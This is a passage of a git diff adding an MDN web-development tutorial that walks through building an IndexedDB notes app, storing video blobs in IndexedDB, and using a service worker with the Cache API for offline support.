+<p><strong>Note</strong>: In the line <code>&lt;script src="index.js" defer&gt;&lt;/script&gt;</code> of the source for our finished version, the <code>defer</code> attribute specifies that the contents of the {{htmlelement("script")}} element will not execute until the page has finished loading.</p>
+</div>
+
+<h2 id="Storing_complex_data_—_IndexedDB">Storing complex data — IndexedDB</h2>
+
+<p>The <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB API</a> (sometimes abbreviated IDB) is a complete database system available in the browser in which you can store complex related data, the types of which aren't limited to simple values like strings or numbers. You can store videos, images, and pretty much anything else in an IndexedDB instance.</p>
+
+<p>However, this does come at a cost: IndexedDB is much more complex to use than the Web Storage API. In this section, we'll really only scratch the surface of what it is capable of, but we will give you enough to get started.</p>
+
+<h3 id="Working_through_a_note_storage_example">Working through a note storage example</h3>
+
+<p>Here we'll run you through an example that allows you to store notes in your browser and view and delete them whenever you like, getting you to build it up for yourself and explaining the most fundamental parts of IDB as we go along.</p>
+
+<p>The app looks something like this:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15744/idb-demo.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p>Each note has a title and some body text, each individually editable. The JavaScript code we'll go through below has detailed comments to help you understand what's going on.</p>
+
+<h3 id="Getting_started">Getting started</h3>
+
+<ol>
+ <li>First of all, make local copies of our <code><a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/indexeddb/notes/index.html">index.html</a></code>, <code><a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/indexeddb/notes/style.css">style.css</a></code>, and <code><a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/indexeddb/notes/index-start.js">index-start.js</a></code> files into a new directory on your local machine.</li>
+ <li>Have a look at the files. You'll see that the HTML is pretty simple: a web site with a header and footer, as well as a main content area that contains a place to display notes, and a form for entering new notes into the database. The CSS provides some simple styling to make it clearer what is going on. The JavaScript file contains five declared constants containing references to the {{htmlelement("ul")}} element the notes will be displayed in, the title and body {{htmlelement("input")}} elements, the {{htmlelement("form")}} itself, and the {{htmlelement("button")}}.</li>
+ <li>Rename your JavaScript file to <code>index.js</code>. You are now ready to start adding code to it.</li>
+</ol>
+
+<h3 id="Database_initial_set_up">Database initial set up</h3>
+
+<p>Now let's look at what we have to do in the first place, to actually set up a database.</p>
+
+<ol>
+ <li>
+  <p>Below the constant declarations, add the following lines:</p>
+
+  <pre class="brush: js notranslate">// Create an instance of a db object for us to store the open database in
+let db;</pre>
+
+  <p>Here we are declaring a variable called <code>db</code> — this will later be used to store an object representing our database. We will use this in a few places, so we've declared it globally here to make things easier.</p>
+ </li>
+ <li>
+  <p>Next, add the following to the bottom of your code:</p>
+
+  <pre class="brush: js notranslate">window.onload = function() {
+
+};</pre>
+
+  <p>We will write all of our subsequent code inside this <code>window.onload</code> event handler function, called when the window's {{event("load")}} event fires, to make sure we don't try to use IndexedDB functionality before the app has completely finished loading (it could fail if we don't).</p>
+ </li>
+ <li>
+  <p>Inside the <code>window.onload</code> handler, add the following:</p>
+
+  <pre class="brush: js notranslate">// Open our database; it is created if it doesn't already exist
+// (see onupgradeneeded below)
+let request = window.indexedDB.open('notes_db', 1);</pre>
+
+  <p>This line creates a <code>request</code> to open version <code>1</code> of a database called <code>notes_db</code>. If this doesn't already exist, it will be created for you by subsequent code. You will see this request pattern used very often throughout IndexedDB. Database operations take time. You don't want to hang the browser while you wait for the results, so database operations are {{Glossary("asynchronous")}}, meaning that instead of happening immediately, they will happen at some point in the future, and you get notified when they're done.</p>
+
+  <p>To handle this in IndexedDB, you create a request object (which can be called anything you like — we called it <code>request</code> so it is obvious what it is for). You then use event handlers to run code when the request completes, fails, etc., which you'll see in use below.</p>
+
+  <div class="note">
+  <p><strong>Note</strong>: The version number is important. If you want to upgrade your database (for example, by changing the table structure), you have to run your code again with an increased version number, different schema specified inside the <code>onupgradeneeded</code> handler (see below), etc. We won't cover upgrading databases in this simple tutorial.</p>
+  </div>
+ </li>
+ <li>
+  <p>Now add the following event handlers just below your previous addition — again inside the <code>window.onload</code> handler:</p>
+
+  <pre class="brush: js notranslate">// onerror handler signifies that the database didn't open successfully
+request.onerror = function() {
+  console.log('Database failed to open');
+};
+
+// onsuccess handler signifies that the database opened successfully
+request.onsuccess = function() {
+  console.log('Database opened successfully');
+
+  // Store the opened database object in the db variable. This is used a lot below
+  db = request.result;
+
+  // Run the displayData() function to display the notes already in the IDB
+  displayData();
+};</pre>
+
+  <p>The {{domxref("IDBRequest.onerror", "request.onerror")}} handler will run if the system comes back saying that the request failed. This allows you to respond to this problem. In our simple example, we just print a message to the JavaScript console.</p>
+
+  <p>The {{domxref("IDBRequest.onsuccess", "request.onsuccess")}} handler on the other hand will run if the request returns successfully, meaning the database was successfully opened. If this is the case, an object representing the opened database becomes available in the {{domxref("IDBRequest.result", "request.result")}} property, allowing us to manipulate the database. We store this in the <code>db</code> variable we created earlier for later use. We also run a custom function called <code>displayData()</code>, which displays the data in the database inside the {{HTMLElement("ul")}}. We run it now so that the notes already in the database are displayed as soon as the page loads. You'll see this defined later on.</p>
+ </li>
+ <li>
+  <p>Finally for this section, we'll add probably the most important event handler for setting up the database: {{domxref("IDBOpenDBRequest.onupgradeneeded", "request.onupdateneeded")}}. This handler runs if the database has not already been set up, or if the database is opened with a bigger version number than the existing stored database (when performing an upgrade). Add the following code, below your previous handler:</p>
+
+  <pre class="brush: js notranslate">// Setup the database tables if this has not already been done
+request.onupgradeneeded = function(e) {
+  // Grab a reference to the opened database
+  let db = e.target.result;
+
+  // Create an objectStore to store our notes in (basically like a single table)
+  // including a auto-incrementing key
+  let objectStore = db.createObjectStore('notes_os', { keyPath: 'id', autoIncrement:true });
+
+  // Define what data items the objectStore will contain
+  objectStore.createIndex('title', 'title', { unique: false });
+  objectStore.createIndex('body', 'body', { unique: false });
+
+  console.log('Database setup complete');
+};</pre>
+
+  <p>This is where we define the schema (structure) of our database; that is, the set of columns (or fields) it contains. Here we first grab a reference to the existing database from <code>e.target.result</code> (the event target's <code>result</code> property), which is the <code>request</code> object. This is equivalent to the line <code>db = request.result;</code> inside the <code>onsuccess</code> handler, but we need to do this separately here because the <code>onupgradeneeded</code> handler (if needed) will run before the <code>onsuccess</code> handler, meaning that the <code>db</code> value wouldn't be available if we didn't do this.</p>
+
+  <p>We then use {{domxref("IDBDatabase.createObjectStore()")}} to create a new object store inside our opened database called <code>notes_os</code>. This is equivalent to a single table in a conventional database system. We've given it the name notes, and also specified an <code>autoIncrement</code> key field called <code>id</code> — in each new record this will automatically be given an incremented value — the developer doesn't need to set this explicitly. Being the key, the <code>id</code> field will be used to uniquely identify records, such as when deleting or displaying a record.</p>
+
+  <p>We also create two other indexes (fields) using the {{domxref("IDBObjectStore.createIndex()")}} method: <code>title</code> (which will contain a title for each note), and <code>body</code> (which will contain the body text of the note).</p>
+ </li>
+</ol>
+
+<p>So with this simple database schema set up, when we start adding records to the database; each one will be represented as an object along these lines:</p>
+
+<pre class="brush: js notranslate"><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-object"><span class="objectLeftBrace">{
+  </span><span class="nodeName">title</span><span class="objectEqual">: </span><span class="objectBox objectBox-string">"Buy milk"</span>,
+  <span class="nodeName">body</span><span class="objectEqual">: </span><span class="objectBox objectBox-string">"Need both cows milk and soya."</span>,
+  <span class="nodeName">id</span><span class="objectEqual">: </span><span class="objectBox objectBox-number">8</span></span></span></span></span><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-object"><span class="objectRightBrace">
+}</span></span></span></span></span></pre>
+
+<h3 id="Adding_data_to_the_database">Adding data to the database</h3>
+
+<p>Now let's look at how we can add records to the database. This will be done using the form on our page.</p>
+
+<p>Below your previous event handler (but still inside the <code>window.onload</code> handler), add the following line, which sets up an <code>onsubmit</code> handler that runs a function called <code>addData()</code> when the form is submitted (when the submit {{htmlelement("button")}} is pressed leading to a successful form submission):</p>
+
+<pre class="brush: js notranslate">// Create an onsubmit handler so that when the form is submitted the addData() function is run
+form.onsubmit = addData;</pre>
+
+<p>Now let's define the <code>addData()</code> function. Add this below your previous line:</p>
+
+<pre class="brush: js notranslate">// Define the addData() function
+function addData(e) {
+  // prevent default - we don't want the form to submit in the conventional way
+  e.preventDefault();
+
+  // grab the values entered into the form fields and store them in an object ready for being inserted into the DB
+  let newItem = { title: titleInput.value, body: bodyInput.value };
+
+  // open a read/write db transaction, ready for adding the data
+  let transaction = db.transaction(['notes_os'], 'readwrite');
+
+  // call an object store that's already been added to the database
+  let objectStore = transaction.objectStore('notes_os');
+
+  // Make a request to add our newItem object to the object store
+  var request = objectStore.add(newItem);
+  request.onsuccess = function() {
+    // Clear the form, ready for adding the next entry
+    titleInput.value = '';
+    bodyInput.value = '';
+  };
+
+  // Report on the success of the transaction completing, when everything is done
+  transaction.oncomplete = function() {
+    console.log('Transaction completed: database modification finished.');
+
+    // update the display of data to show the newly added item, by running displayData() again.
+    displayData();
+  };
+
+  transaction.onerror = function() {
+    console.log('Transaction not opened due to error');
+  };
+}</pre>
+
+<p>This is quite complex; breaking it down, we:</p>
+
+<ul>
+ <li>Run {{domxref("Event.preventDefault()")}} on the event object to stop the form actually submitting in the conventional manner (this would cause a page refresh and spoil the experience).</li>
+ <li>Create an object representing a record to enter into the database, populating it with values from the form inputs. note that we don't have to explicitly include an <code>id</code> value — as we explained earlier, this is auto-populated.</li>
+ <li>Open a <code>readwrite</code> transaction against the <code>notes_os</code> object store using the {{domxref("IDBDatabase.transaction()")}} method. This transaction object allows us to access the object store so we can do something to it, e.g. add a new record.</li>
+ <li>Access the object store using the {{domxref("IDBTransaction.objectStore()")}} method, saving the result in the <code>objectStore</code> variable.</li>
+ <li>Add the new record to the database using {{domxref("IDBObjectStore.add()")}}. This creates a request object, in the same fashion as we've seen before.</li>
+ <li>Add a bunch of event handlers to the <code>request</code> and the <code>transaction</code> to run code at critical points in the lifecycle. Once the request has succeeded, we clear the form inputs ready for entering the next note. Once the transaction has completed, we run the <code>displayData()</code> function again to update the display of notes on the page.</li>
+</ul>
+
+<h3 id="Displaying_the_data">Displaying the data</h3>
+
+<p>We've referenced <code>displayData()</code> twice in our code already, so we'd probably better define it. Add this to your code, below the previous function definition:</p>
+
+<pre class="brush: js notranslate">// Define the displayData() function
+function displayData() {
+  // Here we empty the contents of the list element each time the display is updated
+  // If you didn't do this, you'd get duplicates listed each time a new note is added
+  while (list.firstChild) {
+    list.removeChild(list.firstChild);
+  }
+
+  // Open our object store and then get a cursor - which iterates through all the
+  // different data items in the store
+  let objectStore = db.transaction('notes_os').objectStore('notes_os');
+  objectStore.openCursor().onsuccess = function(e) {
+    // Get a reference to the cursor
+    let cursor = e.target.result;
+
+    // If there is still another data item to iterate through, keep running this code
+    if(cursor) {
+      // Create a list item, h3, and p to put each data item inside when displaying it
+      // structure the HTML fragment, and append it inside the list
+      let listItem = document.createElement('li');
+      let h3 = document.createElement('h3');
+      let para = document.createElement('p');
+
+      listItem.appendChild(h3);
+      listItem.appendChild(para);
+      list.appendChild(listItem);
+
+      // Put the data from the cursor inside the h3 and para
+      h3.textContent = cursor.value.title;
+      para.textContent = cursor.value.body;
+
+      // Store the ID of the data item inside an attribute on the listItem, so we know
+      // which item it corresponds to. This will be useful later when we want to delete items
+      listItem.setAttribute('data-note-id', cursor.value.id);
+
+      // Create a button and place it inside each listItem
+      let deleteBtn = document.createElement('button');
+      listItem.appendChild(deleteBtn);
+      deleteBtn.textContent = 'Delete';
+
+      // Set an event handler so that when the button is clicked, the deleteItem()
+      // function is run
+      deleteBtn.onclick = deleteItem;
+
+      // Iterate to the next item in the cursor
+      cursor.continue();
+    } else {
+      // Again, if list item is empty, display a 'No notes stored' message
+      if(!list.firstChild) {
+        let listItem = document.createElement('li');
+        listItem.textContent = 'No notes stored.';
+        list.appendChild(listItem);
+      }
+      // if there are no more cursor items to iterate through, say so
+      console.log('Notes all displayed');
+    }
+  };
+}</pre>
+
+<p>Again, let's break this down:</p>
+
+<ul>
+ <li>First we empty out the {{htmlelement("ul")}} element's content, before then filling it with the updated content. If you didn't do this, you'd end up with a huge list of duplicated content being added to with each update.</li>
+ <li>Next, we get a reference to the <code>notes_os</code> object store using {{domxref("IDBDatabase.transaction()")}} and {{domxref("IDBTransaction.objectStore()")}} like we did in <code>addData()</code>, except here we are chaining them together in one line.</li>
+ <li>The next step is to use {{domxref("IDBObjectStore.openCursor()")}} method to open a request for a cursor — this is a construct that can be used to iterate over the records in an object store. We chain an <code>onsuccess</code> handler on to the end of this line to make the code more concise — when the cursor is successfully returned, the handler is run.</li>
+ <li>We get a reference to the cursor itself (an {{domxref("IDBCursor")}} object) using let <code>cursor = e.target.result</code>.</li>
+ <li>Next, we check to see if the cursor contains a record from the datastore (<code>if(cursor){ ... }</code>) — if so, we create a DOM fragment, populate it with the data from the record, and insert it into the page (inside the <code>&lt;ul&gt;</code> element). We also include a delete button that, when clicked, will delete that note by running the <code>deleteItem()</code> function, which we will look at in the next section.</li>
+ <li>At the end of the <code>if</code> block, we use the {{domxref("IDBCursor.continue()")}} method to advance the cursor to the next record in the datastore, and run the content of the <code>if</code> block again. If there is another record to iterate to, this causes it to be inserted into the page, and then <code>continue()</code> is run again, and so on.</li>
+ <li>When there are no more records to iterate over, <code>cursor</code> will return <code>undefined</code>, and therefore the <code>else</code> block will run instead of the <code>if</code> block. This block checks whether any notes were inserted into the <code>&lt;ul&gt;</code> — if not, it inserts a message to say no note was stored.</li>
+</ul>
+
+<h3 id="Deleting_a_note">Deleting a note</h3>
+
+<p>As stated above, when a note's delete button is pressed, the note is deleted. This is achieved by the <code>deleteItem()</code> function, which looks like so:</p>
+
+<pre class="brush: js notranslate">// Define the deleteItem() function
+function deleteItem(e) {
+  // retrieve the name of the task we want to delete. We need
+  // to convert it to a number before trying it use it with IDB; IDB key
+  // values are type-sensitive.
+  let noteId = Number(e.target.parentNode.getAttribute('data-note-id'));
+
+  // open a database transaction and delete the task, finding it using the id we retrieved above
+  let transaction = db.transaction(['notes_os'], 'readwrite');
+  let objectStore = transaction.objectStore('notes_os');
+  let request = objectStore.delete(noteId);
+
+  // report that the data item has been deleted
+  transaction.oncomplete = function() {
+    // delete the parent of the button
+    // which is the list item, so it is no longer displayed
+    e.target.parentNode.parentNode.removeChild(e.target.parentNode);
+    console.log('Note ' + noteId + ' deleted.');
+
+    // Again, if list item is empty, display a 'No notes stored' message
+    if(!list.firstChild) {
+      let listItem = document.createElement('li');
+      listItem.textContent = 'No notes stored.';
+      list.appendChild(listItem);
+    }
+  };
+}</pre>
+
+<ul>
+ <li>The first part of this could use some explaining — we retrieve the ID of the record to be deleted using <code>Number(e.target.parentNode.getAttribute('data-note-id'))</code> — recall that the ID of the record was saved in a <code>data-note-id</code> attribute on the <code>&lt;li&gt;</code> when it was first displayed. We do however need to pass the attribute through the global built-in <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number">Number()</a></code> object as it is of datatype string, and therefore wouldn't be recognized by the database, which expects a number.</li>
+ <li>We then get a reference to the object store using the same pattern we've seen previously, and use the {{domxref("IDBObjectStore.delete()")}} method to delete the record from the database, passing it the ID.</li>
+ <li>When the database transaction is complete, we delete the note's <code>&lt;li&gt;</code> from the DOM, and again do the check to see if the <code>&lt;ul&gt;</code> is now empty, inserting a note as appropriate.</li>
+</ul>
+
+<p>So that's it! Your example should now work.</p>
+
+<p>If you are having trouble with it, feel free to <a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/indexeddb/notes/">check it against our live example</a> (see the <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/indexeddb/notes/index.js">source code</a> also).</p>
+
+<h3 id="Storing_complex_data_via_IndexedDB">Storing complex data via IndexedDB</h3>
+
+<p>As we mentioned above, IndexedDB can be used to store more than just simple text strings. You can store just about anything you want, including complex objects such as video or image blobs. And it isn't much more difficult to achieve than any other type of data.</p>
+
+<p>To demonstrate how to do it, we've written another example called <a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/client-side-storage/indexeddb/video-store">IndexedDB video store</a> (see it <a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/indexeddb/video-store/">running live here also</a>). When you first run the example, it downloads all the videos from the network, stores them in an IndexedDB database, and then displays the videos in the UI inside {{htmlelement("video")}} elements. The second time you run it, it finds the videos in the database and gets them from there instead before displaying them — this makes subsequent loads much quicker and less bandwidth-hungry.</p>
+
+<p>Let's walk through the most interesting parts of the example. We won't look at it all — a lot of it is similar to the previous example, and the code is well-commented.</p>
+
+<ol>
+ <li>
+  <p>For this simple example, we've stored the names of the videos to fetch in an array of objects:</p>
+
+  <pre class="brush: js notranslate">const videos = [
+  { 'name' : 'crystal' },
+  { 'name' : 'elf' },
+  { 'name' : 'frog' },
+  { 'name' : 'monster' },
+  { 'name' : 'pig' },
+  { 'name' : 'rabbit' }
+];</pre>
+ </li>
+ <li>
+  <p>To start with, once the database is successfully opened we run an <code>init()</code> function. This loops through the different video names, trying to load a record identified by each name from the <code>videos</code> database.</p>
+
+  <p>If each video is found in the database (easily checked by seeing whether <code>request.result</code> evaluates to <code>true</code> — if the record is not present, it will be <code>undefined</code>), its video files (stored as blobs) and the video name are passed straight to the <code>displayVideo()</code> function to place them in the UI. If not, the video name is passed to the <code>fetchVideoFromNetwork()</code> function to ... you guessed it — fetch the video from the network.</p>
+
+  <pre class="brush: js notranslate">function init() {
+  // Loop through the video names one by one
+  for(let i = 0; i &lt; videos.length; i++) {
+    // Open transaction, get object store, and get() each video by name
+    let objectStore = db.transaction('videos_os').objectStore('videos_os');
+    let request = objectStore.get(videos[i].name);
+    request.onsuccess = function() {
+      // If the result exists in the database (is not undefined)
+      if(request.result) {
+        // Grab the videos from IDB and display them using displayVideo()
+        console.log('taking videos from IDB');
+        displayVideo(request.result.mp4, request.result.webm, request.result.name);
+      } else {
+        // Fetch the videos from the network
+        fetchVideoFromNetwork(videos[i]);
+      }
+    };
+  }
+}</pre>
+ </li>
+ <li>
+  <p>The following snippet is taken from inside <code>fetchVideoFromNetwork()</code> — here we fetch MP4 and WebM versions of the video using two separate {{domxref("fetch()", "WindowOrWorkerGlobalScope.fetch()")}} requests. We then use the {{domxref("blob()", "Body.blob()")}} method to extract each response's body as a blob, giving us an object representation of the videos that can be stored and displayed later on.</p>
+
+  <p>We have a problem here though — these two requests are both asynchronous, but we only want to try to display or store the video when both promises have fulfilled. Fortunately there is a built-in method that handles such a problem — {{jsxref("Promise.all()")}}. This takes one argument — references to all the individual promises you want to check for fulfillment placed in an array — and is itself promise-based.</p>
+
+  <p>When all those promises have fulfilled, the <code>all()</code> promise fulfills with an array containing all the individual fulfillment values. Inside the <code>all()</code> block, you can see that we then call the <code>displayVideo()</code> function like we did before to display the videos in the UI, then we also call the <code>storeVideo()</code> function to store those videos inside the database.</p>
+
+  <pre class="brush: js notranslate">let mp4Blob = fetch('videos/' + video.name + '.mp4').then(response =&gt;
+  response.blob()
+);
+let webmBlob = fetch('videos/' + video.name + '.webm').then(response =&gt;
+  response.blob()
+);
+
+// Only run the next code when both promises have fulfilled
+Promise.all([mp4Blob, webmBlob]).then(function(values) {
+  // display the video fetched from the network with displayVideo()
+  displayVideo(values[0], values[1], video.name);
+  // store it in the IDB using storeVideo()
+  storeVideo(values[0], values[1], video.name);
+});</pre>
+ </li>
+ <li>
+  <p>Let's look at <code>storeVideo()</code> first. This is very similar to the pattern you saw in the previous example for adding data to the database — we open a <code>readwrite</code> transaction and get a reference to our <code>videos_os</code> object store, create an object representing the record to add to the database, then simply add it using {{domxref("IDBObjectStore.add()")}}.</p>
+
+  <pre class="brush: js notranslate">function storeVideo(mp4Blob, webmBlob, name) {
+  // Open transaction, get object store; make it a readwrite so we can write to the IDB
+  let objectStore = db.transaction(['videos_os'], 'readwrite').objectStore('videos_os');
+  // Create a record to add to the IDB
+  let record = {
+    mp4 : mp4Blob,
+    webm : webmBlob,
+    name : name
+  }
+
+  // Add the record to the IDB using add()
+  let request = objectStore.add(record);
+
+  ...
+
+};</pre>
+ </li>
+ <li>
+  <p>Last but not least, we have <code>displayVideo()</code>, which creates the DOM elements needed to insert the video in the UI and then appends them to the page. The most interesting parts of this are those shown below — to actually display our video blobs in a <code>&lt;video&gt;</code> element, we need to create object URLs (internal URLs that point to the video blobs stored in memory) using the {{domxref("URL.createObjectURL()")}} method. Once that is done, we can set the object URLs to be the values of our {{htmlelement("source")}} element's <code>src</code> attributes, and it works fine.</p>
+
+  <pre class="brush: js notranslate">function displayVideo(mp4Blob, webmBlob, title) {
+  // Create object URLs out of the blobs
+  let mp4URL = URL.createObjectURL(mp4Blob);
+  let webmURL = URL.createObjectURL(webmBlob);
+
+  ...
+
+  let video = document.createElement('video');
+  video.controls = true;
+  let source1 = document.createElement('source');
+  source1.src = mp4URL;
+  source1.type = 'video/mp4';
+  let source2 = document.createElement('source');
+  source2.src = webmURL;
+  source2.type = 'video/webm';
+
+  ...
+}</pre>
+ </li>
+</ol>
+
+<h2 id="Offline_asset_storage">Offline asset storage</h2>
+
+<p>The above example already shows how to create an app that will store large assets in an IndexedDB database, avoiding the need to download them more than once. This is already a great improvement to the user experience, but there is still one thing missing — the main HTML, CSS, and JavaScript files still need to downloaded each time the site is accessed, meaning that it won't work when there is no network connection.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15759/ff-offline.png" style="border-style: solid; border-width: 1px; display: block; height: 307px; margin: 0px auto; width: 765px;"></p>
+
+<p>This is where <a href="/en-US/docs/Web/API/Service_Worker_API">Service workers</a> and the closely-related <a href="/en-US/docs/Web/API/Cache">Cache API</a> come in.</p>
+
+<p>A service worker is a JavaScript file that, simply put, is registered against a particular origin (web site, or part of a web site at a certain domain) when it is accessed by a browser. When registered, it can control pages available at that origin. It does this by sitting between a loaded page and the network and intercepting network requests aimed at that origin.</p>
+
+<p>When it intercepts a request, it can do anything you wish to it (see <a href="/en-US/docs/Web/API/Service_Worker_API#Other_use_case_ideas">use case ideas</a>), but the classic example is saving the network responses offline and then providing those in response to a request instead of the responses from the network. In effect, it allows you to make a web site work completely offline.</p>
+
+<p>The Cache API is a another client-side storage mechanism, with a bit of a difference — it is designed to save HTTP responses, and so works very well with service workers.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Service workers and Cache are supported in most modern browsers now. At the time of writing, Safari was still busy implementing it, but it should be there soon.</p>
+</div>
+
+<h3 id="A_service_worker_example">A service worker example</h3>
+
+<p>Let's look at an example, to give you a bit of an idea of what this might look like. We have created another version of the video store example we saw in the previous section — this functions identically, except that it also saves the HTML, CSS, and JavaScript in the Cache API via a service worker, allowing the example to run offline!</p>
+
+<p>See <a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/">IndexedDB video store with service worker running live</a>, and also <a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/client-side-storage/cache-sw/video-store-offline">see the source code</a>.</p>
+
+<h4 id="Registering_the_service_worker">Registering the service worker</h4>
+
+<p>The first thing to note is that there's an extra bit of code placed in the main JavaScript file (see <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/cache-sw/video-store-offline/index.js">index.js</a>). First we do a feature detection test to see if the <code>serviceWorker</code> member is available in the {{domxref("Navigator")}} object. If this returns true, then we know that at least the basics of service workers are supported. Inside here we use the {{domxref("ServiceWorkerContainer.register()")}} method to register a service worker contained in the <code>sw.js</code> file against the origin it resides at, so it can control pages in the same directory as it, or subdirectories. When its promise fulfills, the service worker is deemed registered.</p>
+
+<pre class="brush: js notranslate">  // Register service worker to control making site work offline
+
+  if('serviceWorker' in navigator) {
+    navigator.serviceWorker
+             .register('/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js')
+             .then(function() { console.log('Service Worker Registered'); });
+  }</pre>
+
+<div class="note">
+<p><strong>Note</strong>: The given path to the <code>sw.js</code> file is relative to the site origin, not the JavaScript file that contains the code. The service worker is at <code>https://mdn.github.io/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js</code>. The origin is <code>https://mdn.github.io</code>, and therefore the given path has to be <code>/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js</code>. If you wanted to host this example on your own server, you'd have to change this accordingly. This is rather confusing, but it has to work this way for security reasons.</p>
+</div>
+
+<h4 id="Installing_the_service_worker">Installing the service worker</h4>
+
+<p>The next time any page under the service worker's control is accessed (e.g. when the example is reloaded), the service worker is installed against that page, meaning that it will start controlling it. When this occurs, an <code>install</code> event is fired against the service worker; you can write code inside the service worker itself that will respond to the installation.</p>
+
+<p>Let's look at an example, in the <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js">sw.js</a> file (the service worker). You'll see that the install listener is registered against <code>self</code>. This <code>self</code> keyword is a way to refer to the global scope of the service worker from inside the service worker file.</p>
+
+<p>Inside the <code>install</code> handler we use the {{domxref("ExtendableEvent.waitUntil()")}} method, available on the event object, to signal that the browser shouldn't complete installation of the service worker until after the promise inside it has fulfilled successfully.</p>
+
+<p>Here is where we see the Cache API in action. We use the {{domxref("CacheStorage.open()")}} method to open a new cache object in which responses can be stored (similar to an IndexedDB object store). This promise fulfills with a {{domxref("Cache")}} object representing the <code>video-store</code> cache. We then use the {{domxref("Cache.addAll()")}} method to fetch a series of assets and add their responses to the cache.</p>
+
+<pre class="brush: js notranslate">self.addEventListener('install', function(e) {
+ e.waitUntil(
+   caches.open('video-store').then(function(cache) {
+     return cache.addAll([
+       '/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/',
+       '/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/index.html',
+       '/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/index.js',
+       '/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/style.css'
+     ]);
+   })
+ );
+});</pre>
+
+<p>That's it for now, installation done.</p>
+
+<h4 id="Responding_to_further_requests">Responding to further requests</h4>
+
+<p>With the service worker registered and installed against our HTML page, and the relevant assets all added to our cache, we are nearly ready to go. There is only one more thing to do, write some code to respond to further network requests.</p>
+
+<p>This is what the second bit of code in <code>sw.js</code> does. We add another listener to the service worker global scope, which runs the handler function when the <code>fetch</code> event is raised. This happens whenever the browser makes a request for an asset in the directory the service worker is registered against.</p>
+
+<p>Inside the handler we first log the URL of the requested asset. We then provide a custom response to the request, using the {{domxref("FetchEvent.respondWith()")}} method.</p>
+
+<p>Inside this block we use {{domxref("CacheStorage.match()")}} to check whether a matching request (i.e. matches the URL) can be found in any cache. This promise fulfills with the matching response if a match is not found, or <code>undefined</code> if it isn't.</p>
+
+<p>If a match is found, we simply return it as the custom response. If not, we <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch()</a> the response from the network and return that instead.</p>
+
+<pre class="brush: js notranslate">self.addEventListener('fetch', function(e) {
+  console.log(e.request.url);
+  e.respondWith(
+    caches.match(e.request).then(function(response) {
+      return response || fetch(e.request);
+    })
+  );
+});</pre>
+
+<p>And that is it for our simple service worker. There is a whole load more you can do with them — for a lot more detail, see the <a href="https://serviceworke.rs/">service worker cookbook</a>. And thanks to Paul Kinlan for his article <a href="https://developers.google.com/web/fundamentals/codelabs/offline/">Adding a Service Worker and Offline into your Web App</a>, which inspired this simple example.</p>
+
+<h4 id="Testing_the_example_offline">Testing the example offline</h4>
+
+<p>To test our <a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/">service worker example</a>, you'll need to load it a couple of times to make sure it is installed. Once this is done, you can:</p>
+
+<ul>
+ <li>Try unplugging your network/turning your Wifi off.</li>
+ <li>Select <em>File &gt; Work Offline</em> if you are using Firefox.</li>
+ <li>Go to the devtools, then choose <em>Application &gt; Service Workers</em>, then check the <em>Offline</em> checkbox if you are using Chrome.</li>
+</ul>
+
+<p>If you refresh your example page again, you should still see it load just fine. Everything is stored offline — the page assets in a cache, and the videos in an IndexedDB database.</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>That's it for now. We hope you've found our rundown of client-side storage technologies useful.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Storage_API">Web storage API</a></li>
+ <li><a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Cookies">Cookies</a></li>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API">Service worker API</a></li>
+</ul>
+
+<p>{{PreviousMenu("Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">Introduction to web APIs</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">Manipulating documents</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">Fetching data from the server</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Third_party_APIs">Third party APIs</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Drawing graphics</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs">Video and audio APIs</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">Client-side storage</a></li>
+</ul>
diff --git a/files/ko/learn/javascript/client-side_web_apis/index.html b/files/ko/learn/javascript/client-side_web_apis/index.html
